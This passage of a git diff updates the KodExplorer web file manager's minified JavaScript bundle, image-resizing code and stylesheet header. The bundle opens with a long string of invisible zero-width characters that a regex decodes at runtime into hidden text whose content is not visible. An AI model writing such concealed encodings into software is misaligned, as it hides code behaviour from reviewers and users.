‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);0>=s&&(s=0);var r=core.fileSize(s);return r=r?r:0,s=r+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='<div id="'+e.id+'" class="item"><div class="info">'+'<span class="title" title="'+htmlEncode(e.upload_to+a)+'" data-name="'+htmlEncode(e.upload_to+a)+'">'+htmlEncode(core.pathThis(a))+"</span>"+'<span class="size">'+core.fileSize(e.size)+"</span>"+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t,i){var a=urlEncode(e.file.fullPath);(void 0==a||"undefined"==a)&&(a=""),t.fullPath=a,t.upload_to=e.file.upload_to,i["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%"></div></div>').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var i=36*t.index(".item");$(".uploader-content").scrollTop(i)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];if(a.code){if(t.addClass("success"),t.find(".state").text(n),t.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),a.info){var o="/"+ltrim(htmlEncode(a.info),"/");t.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else t.addClass("error").find(".state").addClass("error"),t.find(".state").text(n).attr("title",n)}uploader.removeFile(e),t.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";if(e.serverData){var a=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,a>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf("<!--user login-->"))return $.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),Tips.tips("login error!",!1),void 0;if(e.serverData.data){var n=e.serverData.data;i=LNG[n]?LNG[n]:n}else e.serverData._raw&&(i=e.serverData._raw)}"http"==t&&(i=LNG.upload_error_http),"abort"==t&&void 0==e.serverData&&(i=LNG.not_support+"(support on chrome)"),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i).attr("title",i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='<div class="upload-tips"> <div> <i class="icon-cloud cloud1 moveLeftLoop"></i> <i class="icon-cloud cloud2"></i> <i class="icon-cloud cloud3 moveLeftLoop"></i> </div> <div class="cloud-moveup"><i class="moveTopLoop icon-circle-arrow-up"></i></div> <div class="msg">'+LNG.upload_drag_tips+"</div> </div>";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o='<input type="text" class="path_select_input" readonly="true" disabled="true" />';"file"==e.type&&(o+='<span class="label label-primary">'+e.allowExt+"</span>"),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('<div style="width:0px;height:0px;" class="'+i+'"></div>').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var t,i={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,a=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");a.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(a).before('<span id="'+t.tId+'_my_ico" class="tree_icon button">'+core.iconSmall(o)+"</span>").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="<span class='space' style='display: inline-block;width:"+i*t.level+"px'></span>";a.before(s)}var r='<span class="time">'+date(LNG.time_type,t.mtime)+"</span>";r+='<span class="size">'+core.fileSize(t.size)+"</span>",r+='<span class="menu_more icon-ellipsis-vertical"></span>',$("#"+t.tId+"_span").after(r),a.parent().addClass(t.menuType)}},callback:{onClick:function(e,i,a){$(e.target).hasClass("menu_more")||(t.selectNode(a),u(a),"folder"==a.type&&$("#"+a.tId+"_switch").click())},onCollapse:function(e,t){_(t)},onExpand:function(e,t){_(t)},beforeRightClick:function(e,i){i&&(u(i),t.selectNode(i))},onDblClick:function(e,i,a){$(e.target).hasClass(".menu_more")||"file"==a.type&&o("open",t)}}},a=function(e){for(var t=function(e){for(var i=0;e.length>i;i++)if(void 0!=e[i]){var a=e[i];e[i]={name:core.pathThis(a.filename),path:a.filename,isParent:!!a.child,type:a.folder?"folder":"file",menuType:a.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(a.filename),mtime:a.mtime,index:a.index,size:a.size,child:a.child},a.folder&&delete e[i].ext,e[i].child?(e[i].children=e[i].child,delete e[i].child,t(e[i].children)):delete e[i].child}else delete e[i]},i={},a=0;e.length>a;a++)"string"!=typeof e[a].filename&&e[a].stored_filename&&(e[a].filename=e[a].stored_filename),"string"==typeof e[a].filename&&(e[a].filename=e[a].filename.replace(/\\/g,"/"),i[e[a].filename]=e[a]);for(var n in i)if(!i[n].folder)for(var o=core.pathFather(i[n].filename);""!=o&&"/"!=o&&!i[o]&&!i[rtrim(o,"/")];)i[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var n in i){var r=i[n],l=core.pathFather(r.filename);if(i[l]&&(l=core.pathFather(r.filename)),i[rtrim(l,"/")]&&(l=rtrim(l,"/")),i[l])i[l].child||(i[l].child=[]),i[l].child.push(i[r.filename]);else{var c=i[r.filename];c&&s.push(c)}}return t(s),s},n=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:t.top})})},o=function(e,t){if(void 0==t){var i=$(".context-menu-active").parents(".ztree");if(0==i.length)return;t=$.fn.zTree.getZTreeObj(i.attr("id"))}var a=t.getSelectedNodes()[0];switch(e){case"open":c(t,a);break;case"down":l(t,a);break;case"unzip_this":p(t,a);break;case"unzip_to":d(t,a);break;case"info":h(t,a);break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var t=0;e.children.length>t;t++)r(e.children[t])}else s.file_num++,s.size+=parseInt(e.size)},l=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&download=1&index="+t.index;ui.pathOpen.downloadUrl(a)},c=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&index="+t.index+"&name=/"+urlEncode(t.path),n=t.ext;"zip"==n&&(n="unknow"),t.size>=31457280&&(Tips.tips(LNG.zipview_file_big,"warning"),n="unknow"),ui.pathOpen.open(a,n)},d=function(e,t){core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(i){p(e,t,i)})},p=function(e,t,i){var a=e.setting.filePath;e.setting.fileUrl,void 0==i&&(i=G.this_path,void 0==i&&(i=core.pathFather(a)));var n="./index.php?explorer/unzip";$.ajax({url:n,data:{path:a,path_to:i,unzip_part:t.index},type:"POST",dataType:"json",beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){return Tips.close(e),"editor"==Config.pageApp?(ui.tree.refreshPath(core.pathFather(a)),void 0):(ui.f5(!0,!0,function(){var e=i+core.pathThis(t.path); +ui.path.setSelectByFilename(e)}),void 0)}})},u=function(e){var t=f(e),i=LNG.size+" "+t.size_friendly+" ("+t.size+" Byte)";"folder"==e.type&&(i=t.file_num+LNG.file+","+t.folder_num+LNG.folder+", "+i),$("#"+e.tId).parents(".zipViewContent").find(".bottom .info").html(i)},f=function(e){var t={name:e.name,path:e.path,size:e.size,size_friendly:core.fileSize(e.size),mtime:date(LNG.time_type_info,e.mtime)};return 0==e.level&&(t.path=t.name),"folder"==e.type&&(s={file_num:0,folder_num:0,size:0},r(e),$.extend(t,s),t.size_friendly=core.fileSize(t.size)),t},h=function(e,t){var i="folder"==t.type?"folder":core.pathExt(t.path),a="folder"==t.type?tpl_path_info:tpl_file_info,n=template.compile(a),o=f(t);o.LNG=LNG,$.dialog({padding:5,ico:core.iconSmall(i),fixed:!0,title:core.pathThis(t.path),content:n(o),ok:!0})},m=function(e,t,i){var a=template.compile(tpl_zipview),n=a({LNG:LNG,treeID:e}),o=$.dialog({className:"zipViewDialog",id:"zip_view_"+md5(i),ico:core.icon("zip"),title:t,width:550,height:420,content:n,resize:!0,padding:0,fixed:!0}),s=15*$(".zipViewContent").length;o.DOM.wrap.css({left:"+="+s+"px",top:"+="+s+"px"})},_=function(e){$("#"+e).find("ul:visible > li > a").each(function(e){$(this).removeClass("odd"),0==e%2&&$(this).addClass("odd")})},v=function(e,o,s){var r=a(o),l="folderListZip"+UUID();r=ui.tree.treeDataSort(r),m(l,e,s),n(),r={name:e,ext:"zip",mtime:"",isParent:!0,open:!0,children:r,type:"folder",path:"",index:"-1",menuType:"menuZipListFolder"},$.fn.zTree.init($("#"+l),i,r),t=$.fn.zTree.getZTreeObj(l),_(l),u(t.getNodeByParam("index","-1",null))},g=function(e){var i=$(".zip_view_"+md5(e));if(i.length>0)return i.shake(3,20,80),void 0;var a="explorer/unzipList&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0?(a="share/unzipList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e),ui.pathOpen.openUnknow(e),void 0):(a=G.app_host+"index.php?"+a,$.ajax({url:a,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(i){Tips.close(i),i.code?(v(core.pathThis(e),i.data,e),t.setting.filePath=e,t.setting.fileUrl=a):ui.pathOpen.openUnknow(e,i.data)}}),void 0)};g(e)}}),define("app/common/tpl/copyright.html",[],'<div class="copyright_dialog_content">\n <div class="title">\n <div class="logo"><i class="icon-cloud"></i>{{if core.versionType==\'A\'}}KodExplorer {{else}} {{LNG.kod_name}} {{/if}} v{{G.version}}</div>\n <div class=\'info\'>——{{LNG.kod_name_copyright}}</div>\n </div>\n <div class="content">\n <p>{{#LNG.copyright_desc}}</p>\n <div>{{#LNG.copyright_contact}}</div>\n <div>{{#LNG.copyright_info}}</div> \n </div>\n</div>\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"); \ No newline at end of file diff --git a/static/js/lib/util.js b/static/js/lib/util.js index c680a59..37bc3b9 100755 --- a/static/js/lib/util.js +++ b/static/js/lib/util.js @@ -961,26 +961,31 @@ var MaskView = (function(){ var imageSize = function(){ var $dom = $(maskContent).find('.image'); if ($dom.length == 0) return; - var image=new Image(); - image.src = $dom.attr('src'); - var percent = 0.7, - w_width = $(window).width(), - w_height= $(window).height(), - m_width = image.width, - m_height= image.height, - width,height; - if (m_width >= w_width*percent){ - width = w_width*percent; - height= m_height/m_width * width; - }else{ - width = m_width; - height= m_height; - } - $dom.css({'width':width,'height':height}); - var $content = $(maskContent); - $content.css({'width':'auto','height':'auto'}).css({ - top:($(window).height()-$content.height())/2, - left:($(window).width()-$content.width())/2}); + $dom.load(function(){ + if (this.complete || this.readyState == "complete") { + console.log(this,this.width,this.height); + + var percent = 0.7, + w_width = $(window).width(), + w_height= $(window).height(), + m_width = this.width, + m_height= this.height, + width,height; + if (m_width >= w_width*percent){ + width = w_width*percent; + height= m_height/m_width * width; + }else{ + width = m_width; + height= m_height; + } + + $dom.css({'width':width,'height':height}); + var $content = $(maskContent); + $content.css({'width':'auto','height':'auto'}).css({ + top:($(window).height()-$content.height())/2, + left:($(window).width()-$content.width())/2}); + } + }); } var close = function(){ $(maskId).fadeOut(animatetime); diff --git a/static/style/skin/alpha_image.css b/static/style/skin/alpha_image.css index db88cc0..4596be8 100755 --- a/static/style/skin/alpha_image.css +++ b/static/style/skin/alpha_image.css @@ -1,3 +1,3 @@ -/* power by kodexplorer ver 3.42(2017-04-07) [build 1491589357.1404] */ +/* power by kodexplorer ver 3.43(2017-04-12) [build 1491999049.9881] */ .text_color_set{color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;}@media screen and (max-width:100000px){body{ position:absolute;top:0px;left:0px;bottom:0px;right:0px;} body .x-folder{ background-image:url("../../images/file_icon/icon_others/folder_alpha.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_alpha.png',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_alpha.png',sizingMethod='scale');} body .full_background{ position:absolute;top:0px;left:0px;bottom:0px;right:0px;background:#2d2d2d url('./../../images/wall_page/8.jpg');background-size:cover;background-size:100% 100%;} body 